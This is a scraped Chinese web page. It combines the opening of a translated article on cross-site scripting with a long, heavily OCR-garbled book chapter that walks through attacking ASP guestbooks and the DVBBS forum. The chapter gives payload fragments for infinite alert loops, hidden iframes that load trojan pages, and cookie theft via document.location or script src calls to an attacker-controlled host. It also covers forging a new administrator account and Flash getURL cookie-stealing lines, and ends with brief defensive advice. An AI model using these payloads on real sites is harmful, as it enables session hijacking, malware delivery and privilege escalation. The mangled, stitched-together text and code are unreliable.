如何解决跨站脚本攻击实例

您所在的位置: &
如何防止跨站点脚本攻击(1)
如何防止跨站点脚本攻击(1)
LittleHann译
跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon, PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的问题属于XSS。
跨站点脚本(XSS)是当前web应用中最危险和最普遍的漏洞之一。安全研究人员在大部分最受欢迎的网站,包括Google, Facebook, Amazon,
PayPal等网站都发现这个漏洞。如果你密切关注bug赏金计划,会发现报道最多的问题属于XSS。为了避免跨站脚本,浏览器也有自己的过滤器,但安全研究人员总是能够设法绕过这些过滤器。
这种漏洞(XSS)通常用于发动cookie窃取、恶意软件传播(蠕虫攻击),会话劫持,恶意重定向。在这种攻击中,攻击者将恶意JavaScript代码注入到网站页面中,这样&受害&者的浏览器就会执行攻击者编写的恶意脚本。这种漏洞容易找到,但很难修补。这就是为什么你可以在任何网站发现它的身影。
在这篇文章中,我们将看到跨站脚本攻击是什么以及如何创建一个过滤器来阻止它。我们还将看到几个开源库,将帮助你修补在web应用程序中的跨站脚本漏洞。
2. 跨站点脚本是什么?
跨站点脚本攻击是一种Web应用程序的攻击,攻击者尝试注入恶意脚本代码到受信任的网站上执行恶意操作。
在跨站点脚本攻击中,恶意代码在受影响用户的浏览器端执行,并对用户的影响。也被称为XSS攻击。你可能有一个疑问就是为什么我们叫它&XSS&,而不是&CSS&。
对于广大的web程序猿来说。在网页设计中,我们已经把级联样式表叫做CSS。因此为了避免混淆,我们把cross-site
scripting称为XSS。
现在,让我们回到XSS攻击。这个漏洞发生在网站应用程序接收用户的输入数据却没有做必要的编码。如果对用户输入的数据没有进行正确的编码和过滤,这个被注入恶意脚本将被发送给其他用户。
对浏览器来说,它没有办法知道它不应该相信一个脚本的合法性。浏览器会正常地把这个脚本当成普通脚本执行,这个时候恶意的操作就不可避免的发生了。大部分的时候,XSS是用来窃取cookie,或窃取有效用户的会话令牌session,以此进行会话劫持。
内容导航&第 1 页: &第 2 页: &第 3 页: &第 4 页:
关于&&的更多文章
为更好地应对互联网安全挑战,交流最新的安全技术与解决方案,国
随着云计算、物联网、大数据、移动互联网的大发展,你应该知道这些。
棱镜的曝光,令美国颇为尴尬,不止因为棱镜项目本身,
随着安全威胁、网络应用和用户行为日益复杂,企业呼唤
万兆网络并不仅仅意味着网络带宽的增加,与之相匹配
osCommerce是一款免费的、开放源代码的专业电子商务解决方案。本书以通俗易懂的语言向读者展示了该软件强大的功能和简易的操作方
51CTO旗下网站本帖子已过去太久远了,不再提供回复功能。在很多情况下,xss是一种主要的应用程序安全缺陷,常与其他漏洞一起造成破坏性的后果。有时,xss攻击也可能转变成一种病毒或能够自我繁殖的蠕虫,这种攻击确实很严重。
渗透测试员应始终从不同的角度审视xss漏洞,认真分析它们出现的情境,并与其他针对Web应用程序和其他计算机系统的可怕攻击联系起来,找到解决方法。
xss产生根源和触发条件
跨站点脚本(xss)是针对其他用户的重量级攻击。从某种程度上说,xss是在Web应用程序中发现的最为普遍的漏洞,困扰着现在绝大多数的应用程序,包括因特网上注重安全的应用程序,如电子银行使用的应用程序。xss攻击产生的根源,究其实质来说,其原理就是在HTML中注入脚本,让原本正常的脚本反馈给用户非正常信息。
一般情况下,通过伪造URL连接的方式,跨站攻击配合伪造邮件一起,构造特定信息的邮件或通知,让潜在被攻击者以为这是银行或其他机构发来的信件,取得信任后就通过邮件中的连接,进入表面上看起来和正常站点一样的页面,然后输入自己的账户密码,随即这些账户密码就被攻击者盗用了。xss钓鱼攻击的攻击模型9-1。
目前xss挂马是应用比较广泛的一种跨站脚本攻击,就危害而言,这种攻击方式比传统盗用用户权限的攻击方式拥有更强的危害性。xss挂马一般出现在游戏类的站点上,攻击者往往会在一个免费空间上传自己配置好的IE漏洞程序,再放置好想让用户运行的后门木马,最后到被跨站攻击的站点上构造贞面,使用各种方法让正常用户大量地访问构造好的页面,从而实现批量挂马、批量抓肉鸡的目的。其典型的xss挂马攻击模型9-2。
同盗取管理员的Cookies一样,有时候针对某些付费浏览的Web站点,如早几年的电影站、手机铃声下载站等,攻击者也会利用未付费的账户,通过寻找跨站漏洞,提交盗取用,,的Cookies的,实现批量盗用付费用户Cookies的方法,越权访问付费信息。典型的盗用用户权限的跨站脚本攻击模型9-3。提权攻击方式有一个前提条件,就是
一定需要有高级用户的存在,或者管理员的存在,而且一般这样的攻击都应用在论坛、社区等一些人员流动密集、用户黏性比较好的地方,因为只有在这些地方攻击者才能构造让众人关注的帖子、内容,以达到北管理员访问的目的。其xsS提权攻击的模拟9-4。
xss作为一种即将占领Web2.0的主流攻击手段,当然不止上面所讲述的这些危害,上面只是选择了比较典型的危害加以说明,随着Web2.0的发展,更多的xss攻击肯定会出现。利用xss发起拒绝服务的攻击模型9-5。
跨站漏洞的利用
攻击有可以利用跨站脚本漏洞得到浏览该网页用户的Cookie,使其在不知不觉中访问木马网页,且可以让网页无法正常访问。
在网页中插入死循环语句是一种恶意攻击手法。写一段条件永远为真的循环语句,让页面执行到这段时一商执行这段而不能继续显示后面的内容,从而使网页不能正常地显示,陷入死循环状态。更有甚者。在死循环语句中加入弹出对话框的,从而使浏览者的浏览器不停地弹出对话框。始终无法关闭,必须结束浏览器进程才行。
下面以存在跨站脚本漏洞的“迷你留言本”系统为例,介绍在网页中插入死循环语句攻击网站的办法。具体的操作步骤如下。
从网上下载“迷你留言本”的压缩包后直接解压,在IIS服务器中打开“index.asp”主页,单击“发表留言”链接按钮,进入“发表留言”页面,在留言内容中写入“;scriptwhile(true)alert(’呜~您的死期到了…’);/sc ript”,9-6。
单击“提交”按钮,冉访问index.asp页面,即可弹出“Microsofi Internet Explorer”对话框,在其中提示相应的留言信息,9-7。
单击“确定”按钮,弹出“Microsoft Internet Explorer”对话框,如此反复,只有结束IE的进程才能停止。相信无论是谁遇到这种问题后短时间内都不会再访问这个网站了,这对于网站来说无疑足—个巨大的损失。
(2)隐藏访问
隐藏访问指使用户在访问一个网页时,不知不觉地访问了另外一个网页。这样做,可以用来增加其他网站的访问量,也可以用来放置网页木马进行网络“钓鱼”。
要让用户访问页面的方法很多,如插入如下可以直接从当前网页跳转到目标页面:
但这样直接跳转过去的隐蔽性不高,明眼人一看就知道有问题。所以更多的人选择的是用隐藏访问的方法来达到目的。实现隐藏访问有两种方法:
①让页面弹出,个高度和宽度都为o,且坐标在屏幕范围之外的新页面来打开网页。
其显示如下:
这种方法在弹出一个窗口后,虽然用户看不到,但在任务栏中还会出现这个窗口的标题按钮。不过攻击者可以加入让木马网页自动关闭,这样留意任务栏的人不多。而且木马网页的标题一闪而过,刚开完马上就被关闭了,也不会有太多人去在意它。
②在页面中插入一个高度和宽度都为0的框架
其内容是攻击者想要用户访问的网页地址,这样既不会弹出一个新的窗口,页面看起来也与没有插入的一样,隐蔽性十分高。插入框架为:;iframe SfC-“目标网页”)H,/iframe具体的操作步骤如下。
用一幅图片测试效果,只需在“发表留占”页面的留言内容中写入“;iframesrc -”http:*******,i frame”,918。
单击“提交”按钮,再访问index.asp页面,即可看到9-9效果。在网页里成功地插入了一个框架,并把图片也显示了出来。
把框架的高度和宽度都设置为o,查看框架是否被隐藏。在“发表留言”页面留言内容中写入“;iframe src=“/”,9-10。
为了和前面的留言进行区别,这次的昵称改为“框架Test2”,9-11。大家会发现,此时框架已经被彻底地隐藏起来了,在页面中已经看不到了。
但有些人会说,也有可能是没有被执行起来,所以才会看不到的。没错,这也是有可能的,下面通过一个实验验证以下。
使用记事本先来编写一个test.html文件,将其放在迷你留言本网站的根目录作为木马网页,其功能只是弹出一个对话框说明已隐藏访问木马页面而已,其如下:
再来发布一个跨站留言,让用户隐藏访问test.html,留言的内容为如下:;iframe src-”http://*******/迷你留言本ttest.html”width=”0”height”0’’(,iframe
在实际利用漏洞时,攻击者会把木马页面放在自己的网站空间中。上述使用完整的路径表示木马页面地址,为模拟得真实一些,这里使用test.html的完整路径http朋ocalhost/迷你留言本Aest.html。为以示区别,后面都用localhost来表示攻击者的网站,用127.0,0.1表示漏洞网站。具体的操作步骤如下。
在“发表留言”页面里的留言内容中写入“;iframe SfC-”hrcp://localhost,迷你留言本/test.html”width—”0”heigh”0”》《iframe”,9-12。
单击“提交”按钮,再访问留言主页index.asp,页面中即可弹出预料中“MicrosofiIntemet Explorer”对话框,9-13。
上述操作证明页面中被成功攻击了,用户已经访问了木马页面。这个对话框是专门为了证明漏洞而加上去的,如果没有加这句,网页浏览者就不知道已经访问了木马页面,在不知不觉间木马就被下载到浏览者的电脑上运行了,这无疑是件非常可怕的。
(3)获取浏览者Cookie信息
一般论坛和留言本为了节省服务器的资源,通常都把用户的登录信息保存在用户计算机的Cookie中,通过一些特殊的可以把用户的Cookie提取,再配台隐藏访问的方法可以将其发送给攻击者。其具体的操作步骤如下。
由于插入到页面的会被程序认为是网站自身的,在中可直接取得用户在本网站的Cookie,取得Cookie为:“;SCfiptl document.(/script”。
在“发表留言”页面里的留言内容中写入“;scripl alert(document.cookie);;/scrj p伊”,9-14。
单击“提交”按钮,再访问留言主页index.asp,即可弹出“Microsofi InternetExplorer”对话框,提示浏览者在本站的Cookie内容,9-15。
从利用过程中可以看出跨站漏洞的危害很大,攻击者可以通过一些方法取得浏览者的Cookie,从而得到所需的敏感信息。
xss攻击案例模拟
xss攻击是指入侵者在远程Web页面的HTML中插入具有恶意目的的数据,使得用户认为该页面是可信赖的,但当浏览器下载该页面,嵌入其中的脚本将被解释执行。正是这种被称为“鸡尾洒钓鱼术”手段,使商务网站的可信度大大降低。因为用户访问的是真正的商务站点,即使使再细心也很难想到真实网站也会暗藏杀机。
盗用用户权限攻击案例模拟
在盗用用户权限攻击案例中,将以逍遥留言本为例子进行xss攻击的讲解,该留言本的界面清新、体积很小、不多、功能实用,适台用来分析。
1、分析确定存在xss隐患
先从网上下载这个程序,分析它的,查看存在的问题。利用Dreamweaver打开book_write.asp页面后,查找留言部分的字段构造语句,其显示如下:
通过该段可以看到对各个值进行了详细的长度定义,UserName对应留言用户的姓名最大值是16;UserMail对应留言用户的邮箱最大值是50; url对应留言用户的网站最大值是100; qq对应留言用户的其他联系信息最大值是50; comments对应留言用户的留言内容,默认情况下没有限制。因为攻击者在发起跨站脚本攻击时,必须利用提示框插入需要的进行构造,如果限定的参数值比较短,那攻击者足无法正常构造的。
在得到这些数据后,并不能直接开始构造,而是需要对各个值的详细定义有一定的了解,因为很多值在放入数据库之前,都有详细的格式规范,如果不符合格式,系统将提示错误。所以攻击者要继续分析,找到既没有限制,又能使用较长的字符输入的值。再返回到book_write.asp的验证留言部分,分析如下:
该段是对留言部分的基本判断,将对username进行判断,很明显有过滤,其过滤9-16。
当管理员设置“邮箱必填”功能时检查邮箱填写是否合格,查看9-17部分:
在检查邮箱地址的内容填写时,如果要检查是否其有“@”标记,需在book_write.asp页面中查看9-18部分。
在对留言内容的长度进行判断时,“&maxlength&”代表管理员在管理后台中定义的长度。就判断留言长度的语句9-19。
9-20的这段是对脏话和非法语句的过滤,同样是管理员设置以后,从数据库中调用的,其调用语句的具体内容9-21。
从上述这个过滤情况和各字段定义来看,适合攻击者使用的值也就是“网站”一项了。
2、非分析确定存在xss缺陷
作为一种逐渐走向成熟的攻击方式,跨站脚本攻击当然可以直接测试是否存在漏洞的。下面介绍模拟攻击者的操作过程。具体操作步骤如下。
逍遥留言本的安装很简单,从网上下载逍遥留言本的压缩包后直接解压到IIs的目录中就可以使用了,正常运行本程序后的主界面9-22。
打开网站后台登录界面“book_admin.asp”,在“用户名”和“密码”文本框中输入管理员的账户和密码,9-23。
单击“管理登录”按钮,即可成功登录后台,通过管理后台可以定义是否允许用户的html,9-24。
单击“管理选项”按钮进入“管理选项”页面,取消勾选“屏蔽html功能”选项,表明允许用户留言中的HTML执行;再勾选“留言审核开关”右侧的“否”单选项,表明留言是否需要管理员审核才能被别的用户看到。经过设置后的后台界面9-25。
打开留言本主界面,单击“发表留言”按钮,即可进入详细信息页面,在这里攻击者可以构造各种功能的发起xss攻击,9-26。
如果已经对留言部分进行分析的攻击者,可以直接判断在什么字段位置提交跨站攻击可以生效。如果没有分析攻击者,可使用典型的跨站攻击。一个个尝试,其典型为“;scrippalert(‘xss’)(,scripp”。这里的测试实际上就是对长度的测试,因为要发起跨站脚本攻击,必须要保证插入的能够完整地运行。经过测试,除姓名栏,其他地方在长度上都满足插入的长度,但因为中除了长度限制外还有格式限制,所以最后选择的测试值是“您的网站”,9-27。
待所有地方都填上跨站攻击测试后,单击“提交留言”按钮返回首页,即可弹出“Microsofi Intemet Explorer”消息框,提示插入的“xss”内容,9·28。
由此可知,此系统存在xss问题,攻击者可以通过构造实现跨站脚本的攻击。
3、利用xss实现盗取Cookies案例模拟
返回到管理后台,将“屏蔽hunl功能”和“留言审核开关”回复到原始状态,现在的留言本将拒绝执行用户留言内容中的html,并且所有留言在管理员没有审核的情况下,都不会显示出来。也就是说,一般网络上正常的留言本程序都是这样设置的。
利用xss盗取管理员Cookies。根据不同的脚本系统和条件,攻击者可能会选择不同的盗取Cookies的技术,有的攻击者喜欢使用Js,有的攻击者喜欢直接盗取。使用Js的攻击者会把如下保存为cookies.asp文件,再上传到被正常访问的网络空间,具体内容如下:
假设攻击者上传文件地址为http:,/l2,7 .O.O.l/cookies.asp,新建一个文件,将如下内容复制进去,保存为cookies.js文件:document.fo rms [O] .action='http=//*******。同样,将下面的cookiesjjs上传到和cookies.asp -样的目录。待基本环境构造好之后,攻击者只要将存在跨站漏洞的网站上写入如下:
sc ript src=http://*******
当网站的管理员或会员浏览这个页面时,他的Cookies信息就会保存到攻击者的空间只要打开http://*******就能查看到窃取的Cookles信息了。此外,还有一种方法要更加直接一些,攻击者直接将如下保存为Cookies.asp即可。其具体内容如下:
该段与上述类似,但使用不同的调用方式,可不用Js文件实现盗取。假设文件地址是:http://127.O.O.l/cookies.asp,攻击者只需在存在跨站脚本攻击的地方提交如下:
当管理员访问后,也将在此目录下产生cookies.txt文件。其实这两种方式没什么特别的区别,根据情况选用即可。下面的案例模拟中采用第一种方法。
选在攻击者可控的空间内放置好上面的cookies.asp文件,这个空间最简单的方法是使用免费空间。由于这里是本地测试,可以:随接将文件放置在网站的根目录下。放置好文件以后,为了诱使管理员在后台审核的时候能够相信这是一个正常的留言,攻击者通常会伪造一些信息以达到迷惑管理员的目的,经过伪造后填写的信息9-29。
攻击者为了使管理员认为这是一个正常的留言而进行单击,在“您的姓名”、“您的邮箱”、“其他联系方式”、“留言内容”中都填写了相应内容,只是在“您的网站”中插入了xss:;scrippdoc ument.location -'http:******* ;script。单击“提交留言”按钮后,攻击者将会等待管理员审核。
当管理员登录后台,对现有的留言进行审核的时候,看到的将是一条完全正常的新留言,根本没有特别的地方,9—30.。管理员直接单击即可看到里面的内容了。页面将直接触发构造的xss语句攻击,也就是攻击者上传到其他空间中的盗取Cookies程序开始发挥作用,管理员的Cookies已经被发送到空间中了。攻击者使用空间的URL访问专门保存盗取Cookies的Cookies.txt文件,即可看到9-31的信息。
xss挂马攻击案例模拟拟
所谓挂马就是攻击者利用浏览器等漏洞制作成网页术马后,在被自己入侵的网站页面中隐蔽地嵌入网页木马的地址,让访问此网站的用户在没有察觉的情况下访问网页木马,触发网页木马中的漏洞。
从技术实现来说,挂马一般都是利用浏览器漏洞触发,然后编写成桐关的漏洞利用页面或者,放置在攻击者的网络空间里。这些网页木马大多和系统木马后门一起配套使用,当用户访问触发漏洞之后,攻击者预先定义好的木马后门就会被用户系统悄悄下载并运行,让用户在不知情的情况下,成为攻击者控制的傀儡计算机。
1、XSS中的挂马
与xss盗取Cookies不同的是,如果发起挂马攻击,攻击者需使用如下xss攻击:
该语句足指在页面中嵌套—个窗口,并存该窗口中引用httpt//*******页面进行显示,而该页面就是攻击者提前构造好的网页术马地址。
以百度( www.*******.com)为例,用户在本地一个空白记事本中输入以上,并将其保存为xss.html文件,9-32。直接运行该页面后即可看到9-33结果。
由上图可以看到页面中出现了一个框体,就是百度页面内容。当然,在攻击者发起攻击的时候,如果直接使用上面的,在成功进行xss攻击之后,原来正常的页面中会出现一个非常明显的窗口,这显然不够隐蔽,于是攻击者会修改上面的,构造如下:
该句意思是引用//*******,但这个页面在显示时宽和高都足O,直接的结果就是用户根本无法用肉眼发现这个页面被调用了。下面仍然以百度为例,在刚刚测试的本地页面中增加一句:;iframe src=bttp://www.*******.com/ width=”0”height=”0”;/iframe将其保存为跨站.html页面,直接运行该页面即可看到9-34效果。
由上可以看到,页面中只有一个框体,但实际上却调用了两次百度的页面。
2、×ss缺陷分析
介绍完基本的语句和方法后,下面模拟攻击者进行一次完整的xss挂马攻击,使用的系统是DvBBS8。动网8是现在使用非常多的一个脚本论坛,这个论坛经过几年的风雨,普通的脚本安全问题几乎都被它完善地修补了,因为xss攻击目前还属于比较新的技术,关注的攻击者相对比较高端,所以这个版本动网并没有在xss防御上下大工夫,存在不少的跨站脚本攻击。打开savepost.asp文件,其源如下:
该段头文件调用,动网因为系统庞大、功能繁多,所以系统中有非常多的页面,也定义了大量函数,逐一排查需要大量时间,而此文件中正好又有非常多的其他功能的,所以省略了大部分的时间。利用DreamWeaver打开存在问题的部分,9-35。
这里就是出现问题的地方,继续跟踪直到出现以下的:
从上面中可以看出,变量vote使用了Checkstr()函数进行过滤,过滤完后写进数据库中。再查找Cbeckstr()函数,其源显示如下:
从该段可以看出,Checkstr()只过滤了变量Vote的单引号“,”、“%oo”和“丨攻击者只要使用双引号“””来代替单引号“’’’就可以进行跨站攻击了。
3、xss挂马攻击过程模拟
下面以动网DVBBS论坛为例模拟攻击者进行挂码攻击的详细操作。
从网上下载动网DVBBS论坛源并在IIS中进行配置,冉打开论坛的主页“index.asp”,9-36。注册一个低权限的用户,随便进入一个版块,单击页面上的“发起投票”按钮,发投票贴,9-37。
在“发起投票”页面中添加投票项目,在“投票项日”文本框中添加经典的跨站脚本攻击:;scripPalert(’xss’);script,填写的地方是“投票项目”,其他地方攻击者一般会伪造成正常的信息,9-38。
在伪装完成后,发布投票贴。此时,攻击者发布的投票贴中已经包含xss。
只要用户访问了这个帖子,都将实现xss攻击。为了测试效果,退出当前用户的登录,然后使用管理员账户登录,访问这个投票贴,9-39。标准的xss框弹出,说明攻击者构造的跨站攻击脚本成功。
下面的步骤就是攻击者分析页而中过滤的类型,插入典型的挂马xss:
攻击者也可以利用此漏洞盗取管理员Cookies,再进行Cookies欺骗攻击。
xss提权攻击案例模拟
提权不管在什么地方,含义只有一个:通过某种技术,实现以低级权限获得高级权限的过程,就叫提权。具体来说,就是如何通过xss技术,获得脚本系统的管理员权限。
1、留言板xss漏洞分析
“深度学习留言板”是一个ASP的留言板程序,它具有全后台化管理、在线提交、审阅、编辑、删除等功能。同其他的留言板程序一样,这个留言板量比较小,但常用功能都实现了。这里重点模拟攻击者对的分析,以及攻击者是如何构造相关xss攻击的。
攻击者在发起xss前, -般先会进行分析,找到存在缺陷的地方,明确存在缺陷的值是否长度足够到可以进行xss攻击。这个系统的guestBook_add.asp页中包含这些内容。
具体的如下:
该段定义了调用数据库文件和页面标题、协议等常规项,下面进入页面实际内容部分,具体如下:
这里是关键,可以看到所有的用户提交数据都没有经过格式化或者过滤,即每个参数攻击者都可以利用。
这里直接将上面接收到的值传人到数据库中即可。该页面剩余中是进行各个值的定义,因为太长不再引用,定义归纳如下:
GuestName:姓名 GuestFace:头像 GuestFrom:来自于
OuestQQ; QQ信息 GuestMSN: MSN信息 OuestHomeP主页
GuestEmail:邮箱 GuestTel:对话
通过上述分析可知,基本上所有的字段都是没有过滤的,攻击者可直接利崩。在确定存在缺陷可以进行xss后,冈为目的是提议,所以攻击者会在本地模拟管理员进行登录。具体操作步骤如下。
在IIS服务器中打开“deep_login.asp”页面,进入“深度空问”系统后台登录界面,9-40。当管理员输入后台管理的“用户名”和“密码”后,单击“登录”按钮,即可成功进入后台管理界面,9-41。
选择左侧列表中的“网站用户管理”选项,打开“用户管理”页面,在其中可以增加、删除管理员。这里就是构造提权的关键,9-42。单击“添加用户’链接,打开“用户添加管理”页面,在其中添加管理员用户,9-43。
打开adminUser Add.asp页面,对整个增加用户的关键进行详细分析。
从这里的判断可知,表单名称为forml,提交方式是post,username是指用户名。
以上是对用户的两次密码进行比对,如果不一样则返回错误信息。可以得出passwordl和password2两个关键名。
该段不但定义了参数传递,而且定义了MD5加密等操作。
2、详细xss中的提权构造
通过分析上述,攻击者可以知道管理员在何时增加新的管理账户。对程序来说,需要如下信息。
表单名:forml
提交方式:post
脚本地址:/admid AdminUser/admin User_Add.asp
新增管理员账户i username
新增管理员密码:passwordl、password2
新增管理员分组名:管理员
得到上述信息后,攻击者就会伪造一段符合上述要求的,且实现增加管理员操作。
上述是以管理员权限新增加一个管理员的所有操作,其中新增加的管理员名是
duoduosixu,密码是123456,权限等级在系统中是“管理员”。假设攻击者将此页面已经上传到一个可以正常访问的空间中。在知道管理员进行的操作细节后,攻击者现在只缺一个管理员权限,而这个权限的获得当然可以利用前面所讲述的xss盗取Cookies的方法,也可以跳过这一步,直接通过构造xss,让管理员在毫不知情的情况下就完成新增管理员的操作。
通过最开始的分析可知,在“填写留言”的时候是没有经过过滤的,也就是说,攻击者可以直接构造“;iframe...;,irame”,让管理员完成操作。
这里攻击者用到的是:;iframe src=http**********.html《iframe
3、xss提权攻击实例步骤分析
当准备工作完成后,攻击者就可以开始实际攻击了。xsS提权攻击的具体操作步骤如下。
在IIs服务器中打开“index.asp”页面,进入“深度学习留言板”系统主页,9-44。单击贞面上方的“我要留言”按钮,打开“添加留言”页面,根据分析,填写9-45的内容。
单击“留言”按钮,即可成功提交留言内容。当管理员再次登录后台进行管理工作的时候,选择左侧列表中的“留言板管理”选项,不用单击其他的内容,xsS就能直接触发,9-46。
此时选择左侧列表中的“网站用户管理”选项,即可看到除原本默认的管理员外,又新增了个名叫“duoduosixu”的管理员,9-47。
当然,这只是一次模拟攻击,如果是真实的攻击,则攻击者已经可以使用新增加的管理账户登录并进行后续攻击了。
xss钓鱼攻击分析
钓鱼式攻击又叫Phishing,是一种企图从网络中,通过伪装或欺骗的方法,获得正常用户的个人敏感信息,如用户名、密码和信用卡信息等。钓鱼式攻击通常是通过E-mail或者即时通信(IM)进行。常引导用户到URL的界面外观与真正网站几乎无区别的假冒网站中输入个人数据。简单来说,钓鱼式攻击意味着攻击者“钓”取受害人的数据和密码。
1、FLASH XSS钓鱼
和其他的xss攻击类似,FLASH XSS钓鱼不但能用手盗取Cookies、挂马攻击、提升
权限等方面,也可以用于网络钓鱼、发起DDoS攻击,具体的功能视攻击者不同目的而不同。为了便于理解,这里以盗取Cookies为例,其实质和钓鱼攻击是一样的。
Flash是网络上最常见的一种媒体承载平台,它有一个特性是可以在其中插入ActionScript脚本函数,当用户插入Flash时会弹出一个新窗口,指向攻击者预先插入的ActionScript脚本函数中的URL。攻击者可提前伪造一个知名站点,再做一个Flash动画,在第一帧中加入用于跳转到其他URL的ActionScript脚本函数,方式为:GetURL(”JavaScript:windows.open(‘http://*******)”,‘‘_self‘), 其中http://*******是用于收集Cookie的网页地址,这是一个典型的盗取Cookies的xss,如果将这个换成钓鱼站点地址,就具有很强的迷惑性了。
一般情况下,攻击者会将这个Flash动画发布在论坛中的签名、贴子或短消息中,用来盗取指定类型用户的相关信息。这种技术实现是有缺陷的,即在插入Flash时打开了一个窗口,该窗口不但让用户觉得别扭,引起警觉,同时各种弹出窗口阻挡程序也会阻挡。
追求完美的攻击者开始考虑如何更加隐蔽地发起xss攻击,即改造脚本来实现隐藏或者去掉弹出窗口的目的。
上面的ActionScript脚本中,使用了ActlonScript脚本函数“getURL”跳转到一个使用JavaScript协议的URL,在JavaScript中使用document.cookie得到Cookie,并把Cookie和一个用于收集cookie的网页地址连成一个http协议的URL地址,最后使用window.open打开合成的URL地址,从而把cookie用GET方式发送到用于收集Cookie的网页并记录下来。
该弹出窗口是由于JavaScnpt协议中的window.open所生成的,Window.open的第二个参数用来指定打开的窗口名字,其通用名称有如下几种。
media:在浏览器左边的媒体面板内打开;
blank:在新窗口中打开:
parent:在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于self:
search:在浏览器左边的搜索面板内打开;
self:在当前窗口中打开,覆盖当前文档:
top:在所有框架之外的最顶层窗口中打开。假设当前窗口无框架结构,此参数等同于self。由上述分析可知,攻击者如果使用“search”来打开这个窗口,就不会显示弹出窗口了。经过这样改造的ActionScnpt脚本为:GetURL(”JavaS cript:win dows.open(‘http://*******)”,”一self.),这样做的后果就是打开搜索面板,可以躲避弹出窗口软件。虽然不是直接弹出窗口,效果好一些,但用户也会怀疑。有些攻击者考虑既然支持JavaScript,就用JavaScnipt进行构造:
这里攻击者使用了Javascript协议,把网站上的一个Js文件插入本地文件。同样的道理,攻击者也可以用它把一个Js文件插入到进行跨站攻击的论坛网页中。
相应的ActionScript脚本改为:GetURL(“JavaScript: document.all.tags(‘SCRIPT’)【O].src=’http:*******这样,就比较完美地利用相关技术实现了xsS与钓鱼的配合。
2、UR编码与xss钓鱼
浏览器除了支持ASCII码字符的URL,还支持ASCII码以外的字符,同时支持对所有的字符进行编码。下面所讲述的URL编码,其实就是一个字符ASCII码的十六进制替代,不过存替代的过程中稍微有些变动,需要在前面加上“%”。如“、”的ASCII码是92,92的十六进制是Sc,所以“、”的url编码就是%sc。
对于网络上的普通用户来说,如果看到一个域名是陌生的,那就可能存在不确定性。用户肯定不去单击:如果看到一个经常都使用的域名,那信任度自然就会高很多。例如百度( www.*******),看到这个域名很多人就会直接单击了, 一点怀疑都没有,但是如果看到“www.*******.com”域名就不一定去单击了。如果链接地址是,对于普通用户来说,这个域名就是百度的域名,只是在后面加了一些页面地址而已,是可以绝对信任的。其实,该域名是经过了URL编码,还原回来的域名是www.*******,com时,则是绝对不能信任的。这个域名绝对不是百度的,而是diaoyu.com的一个子域名而已,意思是说这个域名和百度一点关系都没有,如果攻击者在这个域名上伪造一个百度的页面和相关功能,普通用户是绝
对看不出来的,如果将上例中的百度换成银行,危害程度很大。攻击者构造这样的URL其实很简单,具体操作步骤如下。
先在确定需要伪造的域名是www.*******之,将“.”中的每个字符都转换成ASCII码。转换方法可以使用网络上的在线转换工具,9-48。转换ASCII码后得到的对应关系如表9-1
在经过ASCII码转换以后,还需要进行ASCII码的十六进制转换。同样可以利用网络上的工具。当然,Windows系统中的计算机同样提供了这个功能,9-49。
在经过转换后,即可得到对应的十六进制如表9—2。
经过十六进制转换后,也不能直接用于构造URL.还需要进行最后一步,那就是增加“%”,如表9-3。
经过上述编码转换后,原本“www,*******”的域名就变成了“http://***********”编码。
在构造完这个域名以后,攻击者会在自己能控制的www.*******的域名中生成子域名,以便于让这个域名生效,再开始后续攻击。
如果攻击者通过这个域名下的伪造页面发起钓鱼攻击,可以分成如下几个典型方式:
利用xss邮件:在邮件内容中.直接包含这样的URL,再使用邮件群发程序进行海量的垃圾邮件群发,会有很多不明真象的用户信任这个百度的链接,进而进行访问。
利用脚本系统:攻击者可以存存在xss漏洞的脚本系统中提交这样的地址,再利用xss让用户访问。
直接利用URL编码欺骗:这种利用方式和xss关系不大,但它虽简单,所以很多攻击者在用。如攻击者可构造URL地址:【URL-http://******* %2e%64%69%61%6f%79%75%2e %63%6f/06d]http://*******,这个URL表面上看起来就是百度的一个超级链接,即使小心一点的用户用鼠标指向它或者观察源也看不出来其中存在问题。但是当用户访问以后,跳转的却是攻击者伪造的页面。
跨站脚本攻击的防范
dvHTMLEncode()函数是作者从ubbcode中提取的用于处理特殊字符串的函数。它能把一些特殊(例如尖括号之类)的字符替换成HTML特殊字符集中的字符。HTML语言是标签语言,所有的都足用标签括起才有用,而所有标签用尖括号括起。尖括号不能发挥原来的作用之后,攻击者插入的便失去作用。dvHTMLEncode()函数的完整如下:
这个函数的语法很简单,就是使用replace()函数把字符串中的一些特殊字符给替换掉,如果需要过滤其他特殊字符,可以试着自己添加上去。用dvHTMLEncode()函数把所有输入及输出的字符串过滤处理一遍,即可杜绝大部分跨站漏洞的出现。如简单留言本的漏洞足因为name 中的body没有经过过滤而直接输出到页面形成的,如下:
如果把修改成如下这样,就可以避免跨站漏洞的出现了:
刚dvHTMLEncode0函数过滤后输出,不会存在问题,也可以在用户提交过滤后写到数据库中,在其他地方也可以用这个函数过滤。只要过滤得彻底,就不用担心有跨站漏洞出现了。当然,用户也不能被动地期望网站的管理员去修补漏洞。如果网站的管理员因为不在意这方面而被人挂了木马,而用户访问了这个网页中的木马,最终吃亏的还是用户所以这里建议用户关闭IE解析JavaScript的功能。具体的操作步骤如下。
打开IE浏览器,选择“工具”→“Jntemet选项”菜单项,即可弹出“Internet选项”对话框,9-50。
切换到“安全”选项卡,选择“Intemet”图标,单击“自定义级别”按钮,弹出“安全设置”对话框,在其中自定义Intemet的安全级别,9-51。
找到“脚本”区域,再把“活动脚本”设置成“禁用”状态就可以了。
尽量不要访问安全性不一每的网站, 上网时打开杀毒软什的脚本监控功能,这样可以避免被恶意攻击者利用跨站脚本漏洞攻击的可能性。
点拨1:如何测试某个站点存在跨站攻击漏洞呢?
解答:使用“;scriptalert(‘xss’);,script”检测是最常见的直接测试脚本系统是否存在跨站脚本攻击的方法。一般情况下,如果这个可以正常被插入并执行,就说明站点是存在跨站攻击漏洞的,攻击者此后就可以构造各种实现各种功能。如果不能被正常插入并执行,则说明不存在跨站攻击漏洞。
点拨2:为什么在使用“getURL(“http://www.*********i”);”语句时,没有输入后面的分号“:”就提示语法错误?
解答:Actions acript的每行语句都以分号“:”结束,它不同于BASIC语青,Actions acript语句同c++、Java、Pascal 一样允许分多行书写,允许将一条很的长语句分割成两个或更多行,只要在结尾有个分号就行了。}

我要回帖

